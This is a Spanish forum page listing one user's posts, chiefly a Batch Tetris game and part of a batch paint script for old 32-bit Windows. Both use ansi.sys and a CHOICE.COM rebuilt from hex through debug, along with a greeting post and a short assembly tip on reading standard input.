Echo. ÌÍÎ͹                                                            º³^<³³  ³³^>³ º
Echo. º º º                                                            ºÀÄÙÀÄÄÙÀÄÙ º
Echo. ÌÍÎ͹                                                            ºÄÄÄÄÄÄÄÄÄÄĺ
Echo. º º º                                                            º  Cursors  º
Echo. ÌÍÎ͹                                                            º Û ² ± ° R º
Echo. º º º                                                            ºÄÄÄÄÄÄÄÄÄÄĺ
Echo. ÌÍÎ͹                                                            º           º
Echo. º º º                                                            º           º
Echo. ÌÍÎ͹                                                            º           º
Echo. º º º                                                            º           º
Echo. ÌÍÎ͹                                                            º           º
Echo. º º º                                                            º           º
Echo. ÌÍÊͼ                                                            º           º
Echo. º                                                                º           º
Echo. º                                                                º           º
Echo. º                                                                º           º
Echo. º                                                                º           º
Echo. º                                                                º           º
Echo. ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍͼ
Command/C Echo.%CurCap%%CurCur%
CALL:LOAD_COLORS
GoTo:EoF
:LOAD_COLORS
Set/A "Count=1"
For %%f in (!Colors!) do (
Call:__WRITE_COLOR %%f Û !Count!
Set "%%f=!Count!"
Set/A "Count+=1"
)
GoTo:EoF
:__WRITE_COLOR
Set ColList=0;30$0;31$0;32$0;33$0;34$^
0;35$0;36$0;37$1;30$1;31$1;32$1;33$^
1;34$1;35$1;36$1;37
For /f "Tokens=%~3 Delims=$" %%c in ("%ColList%") do (
For /f "Tokens=1,2 Delims=X,Y" %%x in ("%~1") do (
Command/C Echo.[%%y;%%xH[%%cm%~2
))
GoTo:EoF
:_MOUSE[GET]
(echo.e100 B8 1 0'3'DB CD'3'B0 3'C'CD'3'B DB't'FA 91 D3 EA D3 E8 91 C3
echo.g116
echo.q)>%tmp%\mouse.dat
Debug<%tmp%\mouse.dat|Find /I "X">%tmp%\tmp.dat
for /f "tokens=2,3,4" %%x in (%tmp%\tmp.dat) do (
set "%%x"&set/a BX=0x!BX!
set "%%y"&set/a CX=0x!CX!+1
set "%%z"&set/a DX=0x!DX!+1
set "MOUSE[XY]=X!CX!Y!DX!"
)
GoTo:EoF

El picasso de la imagen es cortesía de 79137913, que en su día hizo arte en 8 bits con este script  ;D

PD: Se me olvidó mencionar que al igual que con el tetris es necesaria una primera ejecución con privilegios de administrador. Además, no funciona en windows de 64 bits.

17
Presentaciones y cumpleaños / Buenas a todos
« en: Agosto 31, 2013, 09:22:10 pm »
Veo que este foro está bastante activo. Lo había visto hace bastante tiempo y no me imaginaba que fuera a crecer así.

Bueno, no sé si alguien me conocerá por aquí, supongo que sí porque he visto algunos users que conozco. Como sea, a partir de ahora voy a participar en este foro, así que nos leemos por aquí!

18
Batch - Bash / Batch Tetris
« en: Agosto 31, 2013, 09:17:51 pm »



Requisitos:

Funciona únicamente en una plataforma Windows de 16 o 32 bits.
Es necesaria una primera ejecución con privilegios de administrador para que el programa pueda cargar el controlador de dispositivo ansi.sys en memoria.


Controles

Citar
A - Mover pieza a la izquierda
D - Mover pieza a la derecha
R - Rotar pieza (rotación hacia la derecha)
S - Descender pieza una posición



Código: You are not allowed to view links. Register or Login
@echo off
setlocal enableextensions enabledelayedexpansion
chdir /d "%temp%"
:_ansi.sys
mode con cols=80 lines=25
mem/c | find /i "ansi" 1>nul || ((
echo.device=%SystemRoot%\system32\ansi.sys /X
)>>%SystemRoot%\system32\config.nt
if "%~1" NEQ "1" (
start "" %0 1 & exit /b 0
) else (exit /b 1)
) 1>nul 2>&1
if "%~1" NEQ "_high" start "" /high /b "%~0" _high & exit /b 0
if not exist "choice.com" call :_choice.gen
exit|"%ComSpec%" /k prompt [email protected]$_rcx$_1$_w$_q$_>#
debug<#>nul & for /f "tokens=*" %%_ in (@) do set "esc=%%_"
:_init.data
call :_LoadScreen
call :_LoadShapes
:::::::::::::::::
:::Bound Type 1::
set "Bound=Ï"
:::::::::::::::::
:::Block Type 2::
::set "Bound=²"::
:::::::::::::::::
:::Block Type 3::
::set "Bound=Û"::
:::::::::::::::::
Set "Table=Û"
set "-.LimX=27" & set "+.LimX=46" & set "-.LimY=3" & set "+.LimY=22"
set/a "Lin.Lim=%+.LimX%-%-.LimX%+1"
call :_LoadLines
set/a "Score=0"
Command/C Echo.%esc%[24;33H%esc%[0;34m%Score%
Command/C Echo.%esc%[1;66H%esc%[0;34m¸ Binary_Death
call :_make.shape
:_main

:::::::::Default Choice:::::::::::
choice.com /c:adrs /n /t:s,1 > nul
::::::::::::::::::::::::::::::::::

::You can use this if the game is running in Windows Vista/Seven::
::choice.exe /c adrs /d s /t 1 > nul
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

if "%errorlevel%" EQU "1" call :_move "X" "-" "1"
if "%errorlevel%" EQU "2" call :_move "X" "+" "1"
if "%errorlevel%" EQU "3" call :_rotate
call :_move "Y" "+" "1"

:::::Double Movement:::::
::call :_move "Y" "+" "1"
:::::::::::::::::::::::::

goto :_main
:_move
if "%~1" EQU "X" (
1>nul 2>&1,(echo:%CurShape%|find /i "X!%~2.LimX!") && goto :eof
set "cmd.crd=set "NewShape=^^!NewShape^^!,X^^!New.X^^!Y%%Y" & set "NewCrd=%%Y;^^!New.X^^!""
)
if "%~1" EQU "Y" (
1>nul 2>&1,(echo:%CurShape%|find /i "Y%+.LimY%") && (call :_fix.shape & goto :eof)
set "cmd.crd=set "NewShape=^^!NewShape^^!,X%%XY^^!New.Y^^!" & set "NewCrd=^^!New.Y^^!;%%X""
)
set "NewShape=" & set "ansi_line_old=" & set "ansi_line_new="
for %%c in (%CurShape%) do (
for /f "tokens=1,2 delims=X,Y" %%X in ("%%c") do (
set/a "New.%~1=%%%~1 %~2 %~3"
%cmd.crd%
set "ansi_line_old=!ansi_line_old!%esc%[%%Y;%%XH%esc%[0;30m%Table%"
set "ansi_line_new=!ansi_line_new!%esc%[!NewCrd!H%esc%[!shape[%CurShape.Num%.C]!m%Bound%"
)
)
if "%~4" NEQ "rotate" (
2>nul,set lin.cnt|findstr /i "%NewShape:,= %">nul && if "%~1" NEQ "X" (call :_fix.shape & goto :eof) else goto :eof
command /c echo:%ansi_line_old%&command /c echo:%ansi_line_new%
)
set "CurShape=%NewShape:~1%"
set/a "Movs.%~1%~2=%~3"
goto :eof
:_fix.shape
for %%_ in (%CurShape%) do for /f "tokens=1,2 delims=XY" %%X in ("%%_") do (
set/a "lin.num[%%Y]+=1" & set "lin.cnt[%%Y]=!lin.cnt[%%Y]!,%%_S!shape[%CurShape.Num%.C]:;=$!"
)
call :_cmp.lin
call :_make.shape
goto :eof
:_cmp.lin
for /l %%_ in (%-.LimY%,1,%+.LimY%) do (
if !lin.num[%%_]! GEQ %Lin.Lim% call :_down.lin "%%_"
)
goto :eof
:_down.lin
for /l %%_ in (%-.LimX%,1,%+.LimX%) do command /c echo:%esc%[%~1;%%_H%esc%[0;30m%Table%
for /l %%_ in (%~1,-1,%-.LimY%) do (
set/a "r_l=%%_-1"
call set "lin.num[%%_]=%%lin.num[!r_l!]%%"
if defined lin.cnt[!r_l!] (
call set "lin.cnt[%%_]=%%lin.cnt[!r_l!]:Y!r_l!=Y%%_%%"
) else  (set "lin.cnt[%%_]=")
for %%w in (!lin.cnt[%%_]!) do (
for /f "tokens=1,2,3 delims=XYS" %%X in ("%%w") do (
set/a "Old.Y=%%Y-1"
set "color=%%Z"
command /c echo:%esc%[!Old.Y!;%%XH%esc%[0;30m%Table%%esc%[%%Y;%%XH%esc%[!color:$=;!m%Bound%
)
)
)
set/a "Score+=100"
Command/C Echo.%esc%[24;33H%esc%[0;34m%Score%
goto :eof
:_rotate
if "%CurShape.Num%" EQU "5" goto :eof
set/a "f_p_x=0" & echo:%CurShape.Num%.%CurShape.Pos%|findstr /i "2.1 2.3">nul && set/a "f_p_x=1"
set/a "f_p_y=0" & echo:%CurShape.Num%.%CurShape.Pos%|findstr /i "2.0 2.2">nul && set/a "f_p_y=1"
set "CurShape.old=%CurShape%" & set "CurShape.Pos.old=%CurShape.Pos%"
set/a "CurShape.Pos=(%CurShape.Pos%+1) %% 4"
set "CurShape=!shape[%CurShape.Num%.%CurShape.Pos%]!"
if %Movs.X% GTR 9 set/a "Movs.X-=(%Movs.X%-9)+%f_p_x%"
if %Movs.Y% GTR 17 set/a "Movs.Y-=(%Movs.Y%-17)+%f_p_y%"
call :_move "X" "+" "%Movs.X%" "rotate" & set/a "Movs.X-=%Movs.X%"
call :_move "Y" "+" "%Movs.Y%" "rotate" & set/a "Movs.Y-=%Movs.Y%"
2>nul set lin.cnt|findstr /i "%CurShape:,= %">nul && (
set "CurShape=%CurShape.old%"
set "CurShape.Pos=%CurShape.Pos.old%"
goto :eof
)
call :_paint "%CurShape.old%" "%Table%" "0;30"
call :_paint "%CurShape%" "%Bound%" "!shape[%CurShape.Num%.C]!"
goto :eof
:_paint
set "ansi_line=echo:"
for %%c in (%~1) do for /f "tokens=1,2 delims=X,Y" %%p in ("%%c") do (
set "ansi_line=!ansi_line!%esc%[%%q;%%pH%esc%[%~3m%~2"
)
)
command /c %ansi_line%
goto :eof
:_make.shape
set/a "CurShape.Num=%random% %% 7", "CurShape.Pos=0"
set "CurShape=!shape[%CurShape.Num%.%CurShape.Pos%]!"
call :_paint "%CurShape%" "%Bound%" "!shape[%CurShape.Num%.C]!"
2>nul set lin.cnt|findstr /i "%CurShape:,= %">nul && goto :_gameover
set/a "Movs.X=0","Movs.Y=0","Create.Shape=0"
goto :eof
:_LoadScreen
more/c 0<nul
title Batch Tetris v1.0
color 07
for /l %%_ in (1,1,20) do set "s_p=!s_p! "
echo:     !s_p!  Batch  Tetris v1.0
echo:     !s_p!ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
for /l %%_ in (1,1,20) do echo:     !s_p!º!s_p!º
echo:     !s_p!ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo:     !s_p!Score:
goto:eof
:_LoadLines
for /l %%_ in (%-.LimY%,1,%+.LimY%) do (
set/a "lin.num[%%_]=0"
set "lin.cnt[%%_]="
)
goto :eof
:_gameover
more/c 0<nul & echo+Game Over.
pause  1>nul & exit
:_LoadShapes
set "shape[0.0]=X35Y3,X36Y3,X37Y3,X36Y4"
set "shape[0.1]=X35Y4,X36Y3,X36Y4,X36Y5"
set "shape[0.2]=X36Y3,X35Y4,X36Y4,X37Y4"
set "shape[0.3]=X35Y3,X35Y4,X35Y5,X36Y4"
set "shape[0.C]=0;33"
set "shape[1.0]=X36Y3,X37Y3,X35Y4,X36Y4"
set "shape[1.1]=X35Y3,X35Y4,X36Y4,X36Y5"
set "shape[1.2]=X36Y3,X37Y3,X35Y4,X36Y4"
set "shape[1.3]=X35Y3,X35Y4,X36Y4,X36Y5"
set "shape[1.C]=0;32"
set "shape[2.0]=X35Y3,X36Y3,X37Y3,X38Y3"
set "shape[2.1]=X35Y3,X35Y4,X35Y5,X35Y6"
set "shape[2.2]=X35Y3,X36Y3,X37Y3,X38Y3"
set "shape[2.3]=X35Y3,X35Y4,X35Y5,X35Y6"
set "shape[2.C]=0;31"
set "shape[3.0]=X35Y3,X36Y3,X37Y3,X37Y4"
set "shape[3.1]=X36Y3,X36Y4,X36Y5,X35Y5"
set "shape[3.2]=X35Y3,X35Y4,X36Y4,X37Y4"
set "shape[3.3]=X35Y3,X36Y3,X35Y4,X35Y5"
set "shape[3.C]=1;37"
set "shape[4.0]=X35Y3,X36Y3,X37Y3,X35Y4"
set "shape[4.1]=X35Y3,X36Y3,X36Y4,X36Y5"
set "shape[4.2]=X37Y3,X35Y4,X36Y4,X37Y4"
set "shape[4.3]=X35Y3,X35Y4,X35Y5,X36Y5"
set "shape[4.C]=0;35"
set "shape[5.0]=X35Y3,X36Y3,X35Y4,X36Y4"
set "shape[5.1]=X35Y3,X36Y3,X35Y4,X36Y4"
set "shape[5.2]=X35Y3,X36Y3,X35Y4,X36Y4"
set "shape[5.3]=X35Y3,X36Y3,X35Y4,X36Y4"
set "shape[5.C]=0;34"
set "shape[6.0]=X35Y3,X36Y3,X36Y4,X37Y4"
set "shape[6.1]=X36Y3,X35Y4,X36Y4,X35Y5"
set "shape[6.2]=X35Y3,X36Y3,X36Y4,X37Y4"
set "shape[6.3]=X36Y3,X35Y4,X36Y4,X35Y5"
set "shape[6.C]=1;36"
goto:eof
:_choice.gen
set "_=echo:e"
(
%_%0100 E9 32 04 59 4E 00 00 00 00 00 00 00 00 00 00 00
%_%0110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%0120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%0160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%0180 00 00 00 00 00 57 61 69 74 73 20 66 6F 72 20 74
%_%0190 68 65 20 75 73 65 72 20 74 6F 20 63 68 6F 6F 73
%_%01A0 65 20 6F 6E 65 20 6F 66 20 61 20 73 65 74 20 6F
%_%01B0 66 20 63 68 6F 69 63 65 73 2E 0D 0A 0D 0A 00 43
%_%01C0 48 4F 49 43 45 20 5B 2F 43 5B 3A 5D 63 68 6F 69
%_%01D0 63 65 73 5D 20 5B 2F 4E 5D 20 5B 2F 53 5D 20 5B
%_%01E0 2F 54 5B 3A 5D 63 2C 6E 6E 5D 20 5B 74 65 78 74
%_%01F0 5D 0D 0A 0D 0A 00 2F 43 5B 3A 5D 63 68 6F 69 63
%_%0200 65 73 20 53 70 65 63 69 66 69 65 73 20 61 6C 6C
%_%0210 6F 77 61 62 6C 65 20 6B 65 79 73 2E 20 44 65 66
%_%0220 61 75 6C 74 20 69 73 20 59 4E 0D 0A 2F 4E 20 20
%_%0230 20 20 20 20 20 20 20 20 20 44 6F 20 6E 6F 74 20
%_%0240 64 69 73 70 6C 61 79 20 63 68 6F 69 63 65 73 20
%_%0250 61 6E 64 20 3F 20 61 74 20 65 6E 64 20 6F 66 20
%_%0260 70 72 6F 6D 70 74 20 73 74 72 69 6E 67 2E 0D 0A
%_%0270 2F 53 20 20 20 20 20 20 20 20 20 20 20 54 72 65
%_%0280 61 74 20 63 68 6F 69 63 65 20 6B 65 79 73 20 61
%_%0290 73 20 63 61 73 65 20 73 65 6E 73 69 74 69 76 65
%_%02A0 2E 0D 0A 2F 54 5B 3A 5D 63 2C 6E 6E 20 20 20 20
%_%02B0 44 65 66 61 75 6C 74 20 63 68 6F 69 63 65 20 74
%_%02C0 6F 20 63 20 61 66 74 65 72 20 6E 6E 20 73 65 63
%_%02D0 6F 6E 64 73 0D 0A 74 65 78 74 20 20 20 20 20 20
%_%02E0 20 20 20 50 72 6F 6D 70 74 20 73 74 72 69 6E 67
%_%02F0 20 74 6F 20 64 69 73 70 6C 61 79 0D 0A 0D 0A 45
%_%0300 52 52 4F 52 4C 45 56 45 4C 20 69 73 20 73 65 74
%_%0310 20 74 6F 20 6F 66 66 73 65 74 20 6F 66 20 6B 65
%_%0320 79 20 75 73 65 72 20 70 72 65 73 73 65 73 20 69
%_%0330 6E 20 63 68 6F 69 63 65 73 2E 0D 0A 0D 0A 00 49
%_%0340 6E 76 61 6C 69 64 20 73 77 69 74 63 68 20 6F 6E
%_%0350 20 63 6F 6D 6D 61 6E 64 20 6C 69 6E 65 2E 20 45
%_%0360 78 70 65 63 74 65 64 20 66 6F 72 6D 3A 0D 0A 20
%_%0370 20 20 20 00 43 48 4F 49 43 45 3A 20 69 6E 76 61
%_%0380 6C 69 64 20 63 68 6F 69 63 65 20 73 77 69 74 63
%_%0390 68 20 73 79 6E 74 61 78 2E 20 45 78 70 65 63 74
%_%03A0 65 64 20 66 6F 72 6D 3A 20 2F 43 5B 3A 5D 63 68
%_%03B0 6F 69 63 65 73 0D 0A 00 43 48 4F 49 43 45 3A 20
%_%03C0 49 6E 63 6F 72 72 65 63 74 20 74 69 6D 65 6F 75
%_%03D0 74 20 73 79 6E 74 61 78 2E 20 20 45 78 70 65 63
%_%03E0 74 65 64 20 66 6F 72 6D 20 54 63 2C 6E 6E 20 6F
%_%03F0 72 20 54 3A 63 2C 6E 6E 0D 0A 00 43 48 4F 49 43
%_%0400 45 3A 20 54 69 6D 65 6F 75 74 20 64 65 66 61 75
%_%0410 6C 74 20 6E 6F 74 20 69 6E 20 73 70 65 63 69 66
%_%0420 69 65 64 20 28 6F 72 20 64 65 66 61 75 6C 74 29
%_%0430 20 63 68 6F 69 63 65 73 2E 0D 0A 00 43 48 4F 49
%_%0440 43 45 3A 20 6F 6E 6C 79 20 6F 6E 65 20 70 72 6F
%_%0450 6D 70 74 20 73 74 72 69 6E 67 20 61 6C 6C 6F 77
%_%0460 65 64 2E 20 45 78 70 65 63 74 65 64 20 46 6F 72
%_%0470 6D 3A 0D 0A 20 20 20 20 00 43 48 4F 49 43 45 3A
%_%0480 20 72 65 71 75 69 72 65 73 20 4D 53 2D 44 4F 53
%_%0490 20 76 65 72 73 69 6F 6E 20 34 2E 30 20 6F 72 20
%_%04A0 6C 61 74 65 72 2E 0D 0A 00 00 00 01 00 00 00 00
%_%04B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%04C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%04D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%04E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%04F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%0500 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%0510 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%0520 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%0530 00 00 00 00 00 FC B0 01 B4 30 CD 21 3C 03 7F 0B
%_%0540 BB 79 04 E8 57 02 B0 FF E9 4E 02 06 B8 02 65 BB
%_%0550 FF FF B9 05 00 8B D3 0E BF 2F 05 CD 21 47 C4 3D
%_%0560 26 8B 1D B8 00 01 2B C3 A3 33 05 83 C7 02 89 3E
%_%0570 2F 05 8C 06 31 05 07 BE 81 00 AC 3C 0D 75 03 E9
%_%0580 38 01 3C 2F 74 41 3C 20 74 F0 3C 09 74 EC BF AF
%_%0590 04 80 3D 00 75 20 3C 22 75 04 B2 22 EB 03 B2 2F
%_%05A0 AA 8A 04 3C 0D 74 D3 3A C2 74 04 AA 46 EB F2 3C
%_%05B0 2F 74 C7 46 EB C4 BB 3C 04 E8 E1 01 BB BF 01 E8
%_%05C0 DB 01 B0 FF E9 D2 01 AC E8 E9 01 3C 3F 74 24 3C
%_%05D0 43 74 37 3C 4E 74 6D 3C 54 74 71 3C 53 75 03 E9
%_%05E0 D0 00 BB 3F 03 E8 B5 01 BB BF 01 E8 AF 01 B0 FF
%_%05F0 E9 A6 01 BB 85 01 E8 A4 01 BB BF 01 E8 9E 01 BB
%_%0600 F6 01 E8 98 01 B0 FF E9 8F 01 BF 03 01 8A 04 3C
%_%0610 3A 75 03 46 8A 04 3C 20 74 12 3C 09 74 0E 3C 0D
%_%0620 74 0A 3C 2F 74 06 AA 46 8A 04 EB EA B0 00 88 05
%_%0630 81 FF 03 01 74 03 E9 41 FF BB 74 03 E8 5E 01 B0
%_%0640 FF E9 55 01 C6 06 AB 04 00 E9 2E FF 8A 04 3C 3A
%_%0650 75 03 46 8A 04 3C 0D 74 4E 3C 2F 74 4A 3C 20 74
%_%0660 46 3C 09 74 42 A2 AE 04 46 8A 04 3C 2C 75 38 46
%_%0670 8A 04 3C 30 72 31 3C 39 77 2D 83 E0 0F A2 AD 04
%_%0680 46 8A 04 3C 30 73 03 E9 F0 FE 3C 39 76 03 E9 E9
%_%0690 FE A0 AD 04 BA 0A 00 F6 E2 8A 1C 80 E3 0F 02 C3
%_%06A0 A2 AD 04 46 E9 D3 FE BB B8 03 E8 F0 00 B0 FF E9
%_%06B0 E7 00 C6 06 AC 04 01 E9 C0 FE 80 3E AC 04 01 74
%_%06C0 1B A0 AE 04 E8 ED 00 A2 AE 04 BE 03 01 80 3C 00
%_%06D0 74 0A 8A 04 E8 DD 00 88 04 46 EB F1 BF 03 01 B9
%_%06E0 80 00 A0 AE 04 F2 AE 74 0B BB FB 03 E8 AE 00 B0
%_%06F0 FF E9 A5 00 BB AF 04 E8 A3 00 80 3E AB 04 01 75
%_%0700 29 BF 03 01 B4 02 B2 5B CD 21 B4 02 8A 15 CD 21
%_%0710 47 80 3D 00 74 08 B4 02 B2 2C CD 21 EB EC B4 02
%_%0720 B2 5D CD 21 B4 02 B2 3F CD 21 80 3E AD 04 00 74
%_%0730 2D B4 2C CD 21 88 36 AA 04 B4 0B CD 21 83 E0 01
%_%0740 83 C8 00 75 19 B4 2C CD 21 38 36 AA 04 74 EA 88
%_%0750 36 AA 04 FE 0E AD 04 75 E0 A0 AE 04 EB 04 B4 08
%_%0760 CD 21 BF 03 01 80 3E AC 04 01 74 03 E8 45 00 80
%_%0770 3D 00 74 05 AE 74 0A EB F6 B4 02 B2 07 CD 21 EB
%_%0780 DD B4 02 8A D0 CD 21 B4 02 B2 0D CD 21 B4 02 B2
%_%0790 0A CD 21 81 EF 03 01 8B C7 B4 4C CD 21 50 57 52
%_%07A0 B4 02 33 FF 8A 11 80 FA 00 74 05 CD 21 47 EB F4
%_%07B0 5A 5F 58 C3 53 57 06 3C 61 72 1B 3C 7A 77 04 2C
%_%07C0 20 EB 13 3C 80 72 0F C4 3E 2F 05 8B D8 32 FF 2B
%_%07D0 1E 33 05 26 8A 01 07 5F 5B C3
ECHO:RCX
ECHO:6DA
ECHO:N CHOICE.COM
ECHO:W
ECHO:Q
) | debug 1>nul 2>&1
goto :eof


¡Un saludo!

PD: Si el foro deforma el código (muy probable, yo no me arriesgaría), aquí podéis descargalo: You are not allowed to view links. Register or Login

19
Dudas y pedidos generales / Re:como usar stdin en ensamblador?
« en: Agosto 31, 2013, 06:25:14 pm »
Para obtener el handle:

Código: (asm) You are not allowed to view links. Register or Login
invoke  GetStdHandle, STD_INPUT_HANDLE
mov      [std_input], eax

Ahora ya puedes trabajar con él.

PD: Lo cierto es que no podrás usar ese handle con fgets, pero es la forma más fácil de hacerlo en Win32 y tienes a tu disposición muchas API's  de lectura y escritura con las que manejarte  ;)

Páginas: [1]